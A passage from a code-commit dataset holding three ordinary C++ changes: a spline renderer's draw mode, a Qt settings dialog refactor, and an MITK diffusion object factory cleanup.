{\n \/\/start node\n constructed_line.push_back(spline.nodes[spline_node_ind]);\n\n for(size_t i = 0; i < subdivisions_per_segment; ++i)\n {\n auto t = static_cast<float>( (i+1) \/ (subdivisions_per_segment+2) ); \/\/i+1 becuase the 0th node is the spline's start node, not this one\n \/\/subdivisions_per_segment+2 because \n constructed_line.push_back(interpolated_node(spline, spline_node_ind, t));\n }\n\n \/\/end node\n constructed_line.push_back(spline.nodes[spline_node_ind+1]);\n }\n\n\n \/\/todo: simpilfy spline by removing nodes that are relatively coplanar\n\n\n return constructed_line;\n }\n\n line_node_t interpolate_linear(line_node_t const& start, line_node_t const& end, float t)\n {\n line_node_t node;\n node.position = glm::lerp(start.position, end.position, t);\n node.thickness = glm::lerp(start.thickness, end.thickness, t);\n node.color = glm::lerp(start.color, end.color, t);\n\n return node;\n }\n\n line_node_t interpolate_bezier(line_node_t const& start, control_node_t const& cn_start, control_node_t const& cn_end, line_node_t const& end, float t)\n {\n line_node_t node;\n node.position = bezier(start.position, cn_start, cn_end, end.position, t);\n\n \/\/TODO: do something non-linear for interpolating non-position attributes?\n node.thickness = glm::lerp(start.thickness, end.thickness, t);\n node.color = glm::lerp(start.color, end.color, t);\n\n return node;\n }\n}\n}\n}<commit_msg>spline_renderer now uses GL_LINE_STRIP instead of GL_LINE_LOOP<commit_after>#include \"stdafx.h\"\n#include \"spline_renderer.h\"\n\n#include <glm\/gtx\/spline.hpp>\n#include <glm\/gtx\/compatibility.hpp> \/\/for lerp\n\n#include \"asdf_multiplat\/utilities\/utilities.h\"\n#include \"asdf_multiplat\/data\/gl_state.h\"\n\nnamespace asdf {\nnamespace hexmap\n{\n using namespace data;\n\nnamespace ui\n{\n namespace\n {\n constexpr size_t default_subdivs_per_spline_segment = 10;\n }\n\n \/\/\/ vertex spec allocation \/ definition\n gl_vertex_spec_<vertex_attrib::position3_t, vertex_attrib::color_t> spline_vertex_t::vertex_spec;\n\n \/\/\/ Helper Func Declarations\n line_node_t interpolated_node(spline_t const& spline, size_t spline_node_ind, float t);\n std::vector<line_node_t> line_from_interpolated_spline(spline_t const& spline, size_t subdivisions_per_segment);\n line_node_t interpolate_linear(line_node_t const& start, line_node_t const& end, float t);\n line_node_t interpolate_bezier(line_node_t const& start, control_node_t const& cn_start, control_node_t const& cn_end, line_node_t const& end, float t);\n\n\n \/\/\/ Member Func Definitions\n void spline_renderer_t::init(std::shared_ptr<shader_t> _shader)\n {\n shader = std::move(_shader);\n spline_polygon.initialize(shader);\n }\n\n \/\/ void spline_renderer_t::batch(spline_t const& spline)\n \/\/ {\n \/\/ spline_batch.push_back(&spline);\n \/\/ }\n\n \/\/ void spline_renderer_t::batch(std::vector<spline_t> const& splines)\n \/\/ {\n \/\/ spline_batch.reserve(spline_batch.size() + splines.size());\n\n \/\/ for(size_t i = 0; i < splines.size(); ++i)\n \/\/ {\n \/\/ spline_batch.push_back(&(splines[i]));\n \/\/ }\n \/\/ }\n\n void spline_renderer_t::rebuild_all()\n {\n if(!spline_list || (spline_list && spline_list->empty()))\n return;\n\n reticulated_splines.clear();\n\n \/\/\/ reticulate splines\n auto& constructed_lines = reticulated_splines; \/\/ I am lazy and aliasing the variable name\n \/\/std::vector<std::vector<line_node_t>> constructed_lines; \/\/ instead of find\/replace\n constructed_lines.reserve(spline_list->size());\n\n for(auto const& spline : *spline_list)\n {\n if(spline.size() > 1) \/\/ignore splines with less than two points (and thus no segments)\n {\n constructed_lines.push_back( line_from_interpolated_spline(spline, default_subdivs_per_spline_segment) );\n }\n \n }\n\n constructed_lines.shrink_to_fit();\n\n if(constructed_lines.empty())\n {\n return;\n }\n\n\n \/\/pre-loop to get size info\n size_t num_verts = 0;\n for(auto const& polyline : constructed_lines)\n {\n \/\/not doing thickness yet, so only one vertex per polyline node\n num_verts += polyline.size();\n }\n\n \/\/\/ set up renderable vertices\n polygon_<spline_vertex_t> verts;\n verts.resize(num_verts);\n\n size_t vert_ind = 0;\n for(auto const& polyline : constructed_lines)\n {\n for(auto const& line_vert : polyline)\n {\n verts[vert_ind].position = glm::vec3(line_vert.position, 0.0f);\n verts[vert_ind].color = line_vert.color;\n\n ++vert_ind;\n }\n }\n\n ASSERT(vert_ind == num_verts, \"Unexpected unset vertices in polyline\");\n\n spline_polygon.set_data(verts);\n }\n\n void spline_renderer_t::render()\n {\n ASSERT(shader, \"cannot render splines without a shader\");\n\n if(!spline_list)\n {\n return;\n }\n else if(spline_list->size() != spline_node_count_cache.size())\n {\n rebuild_all();\n }\n\n \/\/update spline node count cache and rebuild splines if dirty\n \/\/TODO: optimize to only rebuild dirty splines instead of all of them\n bool dirty = false;\n spline_node_count_cache.resize(spline_list->size(), 0); \/\/init new elements as 0\n for(size_t i = 0; i < spline_list->size(); ++i)\n {\n dirty |= ((*spline_list)[i].size() != spline_node_count_cache[i]);\n spline_node_count_cache[i] = (*spline_list)[i].size();\n }\n\n if(dirty)\n {\n rebuild_all();\n }\n\n \/\/if after rebuilding, there are no verts to render, don't even bother with anything below\n if(spline_polygon.num_verts == 0)\n {\n return;\n }\n\n GL_State->bind(shader);\n shader->update_wvp_uniform();\n\n spline_polygon.render(GL_LINE_STRIP); \/\/will change this to GL_TRIANGLES later when I implement thickness\n }\n\n\n \/\/\/ Helper Func Definitions\n line_node_t interpolated_node(spline_t const& spline, size_t spline_node_ind, float t)\n {\n ASSERT(spline.nodes.size() > spline_node_ind, \"out of bounds\");\n\n switch(spline.spline_type)\n {\n case spline_t::linear:\n {\n return interpolate_linear(spline.nodes[spline_node_ind], spline.nodes[spline_node_ind+1], t);\n }\n case spline_t::bezier:\n {\n auto cn_ind = spline_node_ind * 2;\n\n ASSERT(spline.control_nodes.size() > cn_ind, \"out of bounds\");\n\n auto const& p0 = spline.nodes[spline_node_ind];\n auto const& p1 = spline.control_nodes[cn_ind];\n auto const& p2 = spline.control_nodes[cn_ind + 1];\n auto const& p3 = spline.nodes[spline_node_ind+1];\n\n return interpolate_bezier(p0, p1, p2, p3, t);\n }\n };\n\n return spline.nodes[spline_node_ind];\n }\n\n\n std::vector<line_node_t> line_from_interpolated_spline(spline_t const& spline, size_t subdivisions_per_segment)\n {\n std::vector<line_node_t> constructed_line;\n\n if(spline.size() == 0 || spline.spline_type == spline_t::linear)\n return spline.nodes;\n\n \/\/space for the original nodes plus subdivisions\n constructed_line.reserve(spline.size() + subdivisions_per_segment * spline.size() - 1);\n\n for(size_t spline_node_ind = 0; spline_node_ind < spline.size() - 1; ++spline_node_ind)\n {\n \/\/start node\n constructed_line.push_back(spline.nodes[spline_node_ind]);\n\n for(size_t i = 0; i < subdivisions_per_segment; ++i)\n {\n auto t = static_cast<float>( (i+1) \/ (subdivisions_per_segment+2) ); \/\/i+1 becuase the 0th node is the spline's start node, not this one\n \/\/subdivisions_per_segment+2 because \n constructed_line.push_back(interpolated_node(spline, spline_node_ind, t));\n }\n\n \/\/end node\n constructed_line.push_back(spline.nodes[spline_node_ind+1]);\n }\n\n\n \/\/todo: simpilfy spline by removing nodes that are relatively coplanar\n\n\n return constructed_line;\n }\n\n line_node_t interpolate_linear(line_node_t const& start, line_node_t const& end, float t)\n {\n line_node_t node;\n node.position = glm::lerp(start.position, end.position, t);\n node.thickness = glm::lerp(start.thickness, end.thickness, t);\n node.color = glm::lerp(start.color, end.color, t);\n\n return node;\n }\n\n line_node_t interpolate_bezier(line_node_t const& start, control_node_t const& cn_start, control_node_t const& cn_end, line_node_t const& end, float t)\n {\n line_node_t node;\n node.position = bezier(start.position, cn_start, cn_end, end.position, t);\n\n \/\/TODO: do something non-linear for interpolating non-position attributes?\n node.thickness = glm::lerp(start.thickness, end.thickness, t);\n node.color = glm::lerp(start.color, end.color, t);\n\n return node;\n }\n}\n}\n}<|endoftext|>"} {"text":"<commit_before>\/**\n * The MIT License (MIT)\n *\n * Copyright (c) 2015 Nathan Osman\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to\n * deal in the Software without restriction, including without limitation the\n * rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n * sell copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n * IN THE SOFTWARE.\n **\/\n\n#include <QFileDialog>\n#include <QMessageBox>\n\n#include \"settings.h\"\n#include \"settingsdialog.h\"\n\nSettingsDialog::SettingsDialog()\n{\n setupUi(this);\n\n#ifndef BUILD_UPDATECHECKER\n \/\/ Remove the update controls\n delete updateCheckbox;\n delete updateIntervalLabel;\n delete updateIntervalSpinBox;\n#endif\n\n \/\/ Load the current values into the controls\n reload();\n}\n\nvoid SettingsDialog::accept()\n{\n \/\/ General tab\n Settings::set(Settings::DeviceName, deviceNameEdit->text());\n Settings::set(Settings::TransferDirectory, transferDirectoryEdit->text());\n\n#ifdef BUILD_UPDATECHECKER\n Settings::set(Settings::UpdateInterval, updateCheckbox->isChecked() ? updateIntervalSpinBox->value() * Settings::Hour : 0);\n#endif\n\n \/\/ Transfer section\n Settings::set(Settings::TransferPort, transferPortSpinBox->value());\n Settings::set(Settings::TransferBuffer, transferBufferSpinBox->value() * Settings::KiB);\n\n \/\/ Broadcast section\n Settings::set(Settings::BroadcastPort, broadcastPortSpinBox->value());\n Settings::set(Settings::BroadcastTimeout, broadcastTimeoutSpinBox->value() * Settings::Second);\n Settings::set(Settings::BroadcastInterval, broadcastIntervalSpinBox->value() * Settings::Second);\n\n QDialog::accept();\n}\n\nvoid SettingsDialog::onResetButtonClicked()\n{\n \/\/ Confirm that the user wants to reset all of the settings\n QMessageBox::StandardButton response = QMessageBox::question(\n this,\n tr(\"Confirm Reset\"),\n tr(\"Are you sure you want to reset all settings to their default values? This cannot be undone.\")\n );\n\n \/\/ Perform the reset and then reload all of the settings\n if(response == QMessageBox::Yes) {\n Settings::reset();\n reload();\n }\n}\n\nvoid SettingsDialog::onTransferDirectoryButtonClicked()\n{\n QString path = QFileDialog::getExistingDirectory(this, tr(\"Select Directory\"), transferDirectoryEdit->text());\n if(!path.isNull()) {\n transferDirectoryEdit->setText(path);\n }\n}\n\nvoid SettingsDialog::reload()\n{\n \/\/ General tab\n deviceNameEdit->setText(Settings::get(Settings::DeviceName).toString());\n transferDirectoryEdit->setText(Settings::get(Settings::TransferDirectory).toString());\n\n#ifdef BUILD_UPDATECHECKER\n const int updateInterval = Settings::get(Settings::UpdateInterval).toInt();\n updateCheckbox->setChecked(updateInterval);\n updateIntervalSpinBox->setEnabled(updateInterval);\n updateIntervalSpinBox->setValue(updateInterval \/ Settings::Hour);\n#endif\n\n \/\/ Transfer section\n transferPortSpinBox->setValue(Settings::get(Settings::TransferPort).toLongLong());\n transferBufferSpinBox->setValue(Settings::get(Settings::TransferBuffer).toInt() \/ Settings::KiB);\n\n \/\/ Broadcast section\n broadcastPortSpinBox->setValue(Settings::get(Settings::BroadcastPort).toLongLong());\n broadcastTimeoutSpinBox->setValue(Settings::get(Settings::BroadcastTimeout).toInt() \/ Settings::Second);\n broadcastIntervalSpinBox->setValue(Settings::get(Settings::BroadcastInterval).toInt() \/ Settings::Second);\n}\n<commit_msg>Modified SettingsDialog to use newly rewritten Settings class.<commit_after>\/**\n * The MIT License (MIT)\n *\n * Copyright (c) 2015 Nathan Osman\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to\n * deal in the Software without restriction, including without limitation the\n * rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n * sell copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n * IN THE SOFTWARE.\n **\/\n\n#include <QFileDialog>\n#include <QMessageBox>\n\n#include \"settings.h\"\n#include \"settingsdialog.h\"\n\nSettingsDialog::SettingsDialog()\n{\n setupUi(this);\n\n#ifndef BUILD_UPDATECHECKER\n \/\/ Remove the update controls\n delete updateCheckbox;\n delete updateIntervalLabel;\n delete updateIntervalSpinBox;\n#endif\n\n \/\/ Load the current values into the controls\n reload();\n}\n\nvoid SettingsDialog::accept()\n{\n Settings *settings = Settings::instance();\n settings->beginSet();\n\n \/\/ Settings in the general tab\n settings->set(Settings::Key::DeviceName, deviceNameEdit->text());\n settings->set(Settings::Key::TransferDirectory, transferDirectoryEdit->text());\n\n#ifdef BUILD_UPDATECHECKER\n settings->set(Settings::Key::UpdateInterval, updateCheckbox->isChecked() ? updateIntervalSpinBox->value() * Settings::Constant::Hour : 0);\n#endif\n\n \/\/ Settings in the transfer section\n settings->set(Settings::Key::TransferPort, transferPortSpinBox->value());\n settings->set(Settings::Key::TransferBuffer, transferBufferSpinBox->value() * Settings::Constant::KiB);\n\n \/\/ Settings in the broadcast section\n settings->set(Settings::Key::BroadcastPort, broadcastPortSpinBox->value());\n settings->set(Settings::Key::BroadcastTimeout, broadcastTimeoutSpinBox->value() * Settings::Constant::Second);\n settings->set(Settings::Key::BroadcastInterval, broadcastIntervalSpinBox->value() * Settings::Constant::Second);\n\n settings->endSet();\n QDialog::accept();\n}\n\nvoid SettingsDialog::onResetButtonClicked()\n{\n \/\/ Confirm that the user wants to reset all of the settings\n QMessageBox::StandardButton response = QMessageBox::question(\n this,\n tr(\"Confirm Reset\"),\n tr(\"Are you sure you want to reset all settings to their default values? This cannot be undone.\")\n );\n\n \/\/ Perform the reset and then reload all of the settings\n if(response == QMessageBox::Yes) {\n Settings::instance()->reset();\n reload();\n }\n}\n\nvoid SettingsDialog::onTransferDirectoryButtonClicked()\n{\n QString path = QFileDialog::getExistingDirectory(this, tr(\"Select Directory\"), transferDirectoryEdit->text());\n if(!path.isNull()) {\n transferDirectoryEdit->setText(path);\n }\n}\n\nvoid SettingsDialog::reload()\n{\n Settings *settings = Settings::instance();\n\n \/\/ General tab\n deviceNameEdit->setText(settings->get(Settings::Key::DeviceName).toString());\n transferDirectoryEdit->setText(settings->get(Settings::Key::TransferDirectory).toString());\n\n#ifdef BUILD_UPDATECHECKER\n const int updateInterval = settings->get(Settings::Key::UpdateInterval).toInt();\n updateCheckbox->setChecked(updateInterval);\n updateIntervalSpinBox->setEnabled(updateInterval);\n updateIntervalSpinBox->setValue(updateInterval \/ Settings::Constant::Hour);\n#endif\n\n \/\/ Transfer section\n transferPortSpinBox->setValue(settings->get(Settings::Key::TransferPort).toLongLong());\n transferBufferSpinBox->setValue(settings->get(Settings::Key::TransferBuffer).toInt() \/ Settings::Constant::KiB);\n\n \/\/ Broadcast section\n broadcastPortSpinBox->setValue(settings->get(Settings::Key::BroadcastPort).toLongLong());\n broadcastTimeoutSpinBox->setValue(settings->get(Settings::Key::BroadcastTimeout).toInt() \/ Settings::Constant::Second);\n broadcastIntervalSpinBox->setValue(settings->get(Settings::Key::BroadcastInterval).toInt() \/ Settings::Constant::Second);\n}\n<|endoftext|>"} {"text":"<commit_before>\/*===================================================================\n\nThe Medical Imaging Interaction Toolkit (MITK)\n\nCopyright (c) German Cancer Research Center,\nDivision of Medical and Biological Informatics.\nAll rights reserved.\n\nThis software is distributed WITHOUT ANY WARRANTY; without\neven the implied warranty of MERCHANTABILITY or FITNESS FOR\nA PARTICULAR PURPOSE.\n\nSee LICENSE.txt or http:\/\/www.mitk.org for details.\n\n===================================================================*\/\n\n#include \"mitkDiffusionCoreObjectFactory.h\"\n\n#include \"mitkProperties.h\"\n#include \"mitkBaseRenderer.h\"\n#include \"mitkDataNode.h\"\n\n#include \"mitkNrrdDiffusionImageIOFactory.h\"\n#include \"mitkNrrdDiffusionImageWriterFactory.h\"\n#include \"mitkNrrdDiffusionImageWriter.h\"\n#include \"mitkDiffusionImage.h\"\n\n#include \"mitkNrrdQBallImageIOFactory.h\"\n#include \"mitkNrrdQBallImageWriterFactory.h\"\n#include \"mitkNrrdQBallImageWriter.h\"\n\n#include \"mitkNrrdTensorImageIOFactory.h\"\n#include \"mitkNrrdTensorImageWriterFactory.h\"\n#include \"mitkNrrdTensorImageWriter.h\"\n\n#include \"mitkCompositeMapper.h\"\n#include \"mitkDiffusionImageMapper.h\"\n#include \"mitkGPUVolumeMapper3D.h\"\n#include \"mitkVolumeDataVtkMapper3D.h\"\n\n#include \"mitkPlanarFigureMapper3D.h\"\n\n\ntypedef short DiffusionPixelType;\n\ntypedef mitk::DiffusionImage<DiffusionPixelType> DiffusionImageShort;\ntypedef std::multimap<std::string, std::string> MultimapType;\n\nmitk::DiffusionCoreObjectFactory::DiffusionCoreObjectFactory()\n :CoreObjectFactoryBase()\n{\n\n static bool alreadyDone = false;\n if (!alreadyDone)\n {\n MITK_DEBUG << \"DiffusionCoreObjectFactory c'tor\" << std::endl;\n RegisterIOFactories();\n\n mitk::NrrdDiffusionImageIOFactory::RegisterOneFactory();\n mitk::NrrdQBallImageIOFactory::RegisterOneFactory();\n mitk::NrrdTensorImageIOFactory::RegisterOneFactory();\n\n mitk::NrrdDiffusionImageWriterFactory::RegisterOneFactory();\n mitk::NrrdQBallImageWriterFactory::RegisterOneFactory();\n mitk::NrrdTensorImageWriterFactory::RegisterOneFactory();\n\n m_FileWriters.push_back( NrrdDiffusionImageWriter<DiffusionPixelType>::New().GetPointer() );\n m_FileWriters.push_back( NrrdQBallImageWriter::New().GetPointer() );\n m_FileWriters.push_back( NrrdTensorImageWriter::New().GetPointer() );\n\n\n mitk::CoreObjectFactory::GetInstance()->RegisterExtraFactory(this);\n CreateFileExtensionsMap();\n\n alreadyDone = true;\n }\n\n}\n\nmitk::Mapper::Pointer mitk::DiffusionCoreObjectFactory::CreateMapper(mitk::DataNode* node, MapperSlotId id)\n{\n mitk::Mapper::Pointer newMapper=NULL;\n\n if ( id == mitk::BaseRenderer::Standard2D )\n {\n std::string classname(\"QBallImage\");\n if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0)\n {\n newMapper = mitk::CompositeMapper::New();\n newMapper->SetDataNode(node);\n node->SetMapper(3, ((CompositeMapper*)newMapper.GetPointer())->GetImageMapper());\n }\n classname = \"TensorImage\";\n if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0)\n {\n newMapper = mitk::CompositeMapper::New();\n newMapper->SetDataNode(node);\n node->SetMapper(3, ((CompositeMapper*)newMapper.GetPointer())->GetImageMapper());\n }\n\n classname = \"DiffusionImage\";\n if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0)\n {\n newMapper = mitk::DiffusionImageMapper<short>::New();\n newMapper->SetDataNode(node);\n }\n\n }\n else if ( id == mitk::BaseRenderer::Standard3D )\n {\n std::string classname(\"QBallImage\");\n if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0)\n {\n newMapper = mitk::GPUVolumeMapper3D::New();\n newMapper->SetDataNode(node);\n }\n classname = \"TensorImage\";\n if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0)\n {\n newMapper = mitk::GPUVolumeMapper3D::New();\n newMapper->SetDataNode(node);\n }\n classname = \"DiffusionImage\";\n if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0)\n {\n newMapper = mitk::GPUVolumeMapper3D::New();\n newMapper->SetDataNode(node);\n }\n\n classname = \"PlanarRectangle\";\n if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0)\n {\n newMapper = mitk::PlanarFigureMapper3D::New();\n newMapper->SetDataNode(node);\n }\n\n classname = \"PlanarCircle\";\n if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0)\n {\n newMapper = mitk::PlanarFigureMapper3D::New();\n newMapper->SetDataNode(node);\n }\n\n classname = \"PlanarEllipse\";\n if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0)\n {\n newMapper = mitk::PlanarFigureMapper3D::New();\n newMapper->SetDataNode(node);\n }\n\n classname = \"PlanarPolygon\";\n if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0)\n {\n newMapper = mitk::PlanarFigureMapper3D::New();\n newMapper->SetDataNode(node);\n }\n\n }\n\n return newMapper;\n}\n\nvoid mitk::DiffusionCoreObjectFactory::SetDefaultProperties(mitk::DataNode* node)\n{\n std::string classname = \"QBallImage\";\n if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0)\n {\n mitk::CompositeMapper::SetDefaultProperties(node);\n mitk::GPUVolumeMapper3D::SetDefaultProperties(node);\n }\n\n classname = \"TensorImage\";\n if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0)\n {\n mitk::CompositeMapper::SetDefaultProperties(node);\n mitk::GPUVolumeMapper3D::SetDefaultProperties(node);\n }\n\n classname = \"DiffusionImage\";\n if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0)\n {\n mitk::DiffusionImageMapper<short>::SetDefaultProperties(node);\n mitk::GPUVolumeMapper3D::SetDefaultProperties(node);\n }\n\n\n classname = \"PlanarRectangle\";\n if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0)\n {\n mitk::PlanarFigureMapper3D::SetDefaultProperties(node);\n }\n\n classname = \"PlanarEllipse\";\n if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0)\n {\n mitk::PlanarFigureMapper3D::SetDefaultProperties(node);\n }\n\n classname = \"PlanarCircle\";\n if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0)\n {\n mitk::PlanarFigureMapper3D::SetDefaultProperties(node);\n }\n\n classname = \"PlanarPolygon\";\n if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0)\n {\n mitk::PlanarFigureMapper3D::SetDefaultProperties(node);\n }\n\n}\n\nconst char* mitk::DiffusionCoreObjectFactory::GetFileExtensions()\n{\n std::string fileExtension;\n this->CreateFileExtensions(m_FileExtensionsMap, fileExtension);\n return fileExtension.c_str();\n}\n\nmitk::CoreObjectFactoryBase::MultimapType mitk::DiffusionCoreObjectFactory::GetFileExtensionsMap()\n{\n return m_FileExtensionsMap;\n}\n\nconst char* mitk::DiffusionCoreObjectFactory::GetSaveFileExtensions()\n{\n std::string fileExtension;\n this->CreateFileExtensions(m_SaveFileExtensionsMap, fileExtension);\n return fileExtension.c_str();\n}\n\nmitk::CoreObjectFactoryBase::MultimapType mitk::DiffusionCoreObjectFactory::GetSaveFileExtensionsMap()\n{\n return m_SaveFileExtensionsMap;\n}\n\nvoid mitk::DiffusionCoreObjectFactory::CreateFileExtensionsMap()\n{\n m_FileExtensionsMap.insert(std::pair<std::string, std::string>(\"*.dwi\", \"Diffusion Weighted Images\"));\n m_FileExtensionsMap.insert(std::pair<std::string, std::string>(\"*.hdwi\", \"Diffusion Weighted Images\"));\n m_FileExtensionsMap.insert(std::pair<std::string, std::string>(\"*.nii\", \"Diffusion Weighted Images for FSL\"));\n m_FileExtensionsMap.insert(std::pair<std::string, std::string>(\"*.fsl\", \"Diffusion Weighted Images for FSL\"));\n m_FileExtensionsMap.insert(std::pair<std::string, std::string>(\"*.fslgz\", \"Diffusion Weighted Images for FSL\"));\n m_FileExtensionsMap.insert(std::pair<std::string, std::string>(\"*.qbi\", \"Q-Ball Images\"));\n m_FileExtensionsMap.insert(std::pair<std::string, std::string>(\"*.hqbi\", \"Q-Ball Images\"));\n m_FileExtensionsMap.insert(std::pair<std::string, std::string>(\"*.dti\", \"Tensor Images\"));\n m_FileExtensionsMap.insert(std::pair<std::string, std::string>(\"*.hdti\", \"Tensor Images\"));\n \/\/ m_FileExtensionsMap.insert(std::pair<std::string, std::string>(\"*.pf\", \"Planar Figure File\"));\n\n\n m_SaveFileExtensionsMap.insert(std::pair<std::string, std::string>(\"*.dwi\", \"Diffusion Weighted Images\"));\n m_SaveFileExtensionsMap.insert(std::pair<std::string, std::string>(\"*.hdwi\", \"Diffusion Weighted Images\"));\n m_SaveFileExtensionsMap.insert(std::pair<std::string, std::string>(\"*.nii\", \"Diffusion Weighted Images for FSL\"));\n m_SaveFileExtensionsMap.insert(std::pair<std::string, std::string>(\"*.fsl\", \"Diffusion Weighted Images for FSL\"));\n m_SaveFileExtensionsMap.insert(std::pair<std::string, std::string>(\"*.fslgz\", \"Diffusion Weighted Images for FSL\"));\n m_SaveFileExtensionsMap.insert(std::pair<std::string, std::string>(\"*.qbi\", \"Q-Ball Images\"));\n m_SaveFileExtensionsMap.insert(std::pair<std::string, std::string>(\"*.hqbi\", \"Q-Ball Images\"));\n m_SaveFileExtensionsMap.insert(std::pair<std::string, std::string>(\"*.dti\", \"Tensor Images\"));\n m_SaveFileExtensionsMap.insert(std::pair<std::string, std::string>(\"*.hdti\", \"Tensor Images\"));\n \/\/ m_SaveFileExtensionsMap.insert(std::pair<std::string, std::string>(\"*.pf\", \"Planar Figure File\"));\n\n}\n\nvoid mitk::DiffusionCoreObjectFactory::RegisterIOFactories()\n{\n}\n\n\nstruct RegisterDiffusionCoreObjectFactory{\n RegisterDiffusionCoreObjectFactory()\n : m_Factory( mitk::DiffusionCoreObjectFactory::New() )\n {\n mitk::CoreObjectFactory::GetInstance()->RegisterExtraFactory( m_Factory );\n }\n\n ~RegisterDiffusionCoreObjectFactory()\n {\n mitk::CoreObjectFactory::GetInstance()->UnRegisterExtraFactory( m_Factory );\n }\n\n mitk::DiffusionCoreObjectFactory::Pointer m_Factory;\n};\n\nstatic RegisterDiffusionCoreObjectFactory registerDiffusionCoreObjectFactory;\n\n<commit_msg>remove RegisterIOFactories call<commit_after>\/*===================================================================\n\nThe Medical Imaging Interaction Toolkit (MITK)\n\nCopyright (c) German Cancer Research Center,\nDivision of Medical and Biological Informatics.\nAll rights reserved.\n\nThis software is distributed WITHOUT ANY WARRANTY; without\neven the implied warranty of MERCHANTABILITY or FITNESS FOR\nA PARTICULAR PURPOSE.\n\nSee LICENSE.txt or http:\/\/www.mitk.org for details.\n\n===================================================================*\/\n\n#include \"mitkDiffusionCoreObjectFactory.h\"\n\n#include \"mitkProperties.h\"\n#include \"mitkBaseRenderer.h\"\n#include \"mitkDataNode.h\"\n\n#include \"mitkNrrdDiffusionImageIOFactory.h\"\n#include \"mitkNrrdDiffusionImageWriterFactory.h\"\n#include \"mitkNrrdDiffusionImageWriter.h\"\n#include \"mitkDiffusionImage.h\"\n\n#include \"mitkNrrdQBallImageIOFactory.h\"\n#include \"mitkNrrdQBallImageWriterFactory.h\"\n#include \"mitkNrrdQBallImageWriter.h\"\n\n#include \"mitkNrrdTensorImageIOFactory.h\"\n#include \"mitkNrrdTensorImageWriterFactory.h\"\n#include \"mitkNrrdTensorImageWriter.h\"\n\n#include \"mitkCompositeMapper.h\"\n#include \"mitkDiffusionImageMapper.h\"\n#include \"mitkGPUVolumeMapper3D.h\"\n#include \"mitkVolumeDataVtkMapper3D.h\"\n\n#include \"mitkPlanarFigureMapper3D.h\"\n\n\ntypedef short DiffusionPixelType;\n\ntypedef mitk::DiffusionImage<DiffusionPixelType> DiffusionImageShort;\ntypedef std::multimap<std::string, std::string> MultimapType;\n\nmitk::DiffusionCoreObjectFactory::DiffusionCoreObjectFactory()\n :CoreObjectFactoryBase()\n{\n\n static bool alreadyDone = false;\n if (!alreadyDone)\n {\n MITK_DEBUG << \"DiffusionCoreObjectFactory c'tor\" << std::endl;\n\n mitk::NrrdDiffusionImageIOFactory::RegisterOneFactory();\n mitk::NrrdQBallImageIOFactory::RegisterOneFactory();\n mitk::NrrdTensorImageIOFactory::RegisterOneFactory();\n\n mitk::NrrdDiffusionImageWriterFactory::RegisterOneFactory();\n mitk::NrrdQBallImageWriterFactory::RegisterOneFactory();\n mitk::NrrdTensorImageWriterFactory::RegisterOneFactory();\n\n m_FileWriters.push_back( NrrdDiffusionImageWriter<DiffusionPixelType>::New().GetPointer() );\n m_FileWriters.push_back( NrrdQBallImageWriter::New().GetPointer() );\n m_FileWriters.push_back( NrrdTensorImageWriter::New().GetPointer() );\n\n\n mitk::CoreObjectFactory::GetInstance()->RegisterExtraFactory(this);\n CreateFileExtensionsMap();\n\n alreadyDone = true;\n }\n\n}\n\nmitk::Mapper::Pointer mitk::DiffusionCoreObjectFactory::CreateMapper(mitk::DataNode* node, MapperSlotId id)\n{\n mitk::Mapper::Pointer newMapper=NULL;\n\n if ( id == mitk::BaseRenderer::Standard2D )\n {\n std::string classname(\"QBallImage\");\n if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0)\n {\n newMapper = mitk::CompositeMapper::New();\n newMapper->SetDataNode(node);\n node->SetMapper(3, ((CompositeMapper*)newMapper.GetPointer())->GetImageMapper());\n }\n classname = \"TensorImage\";\n 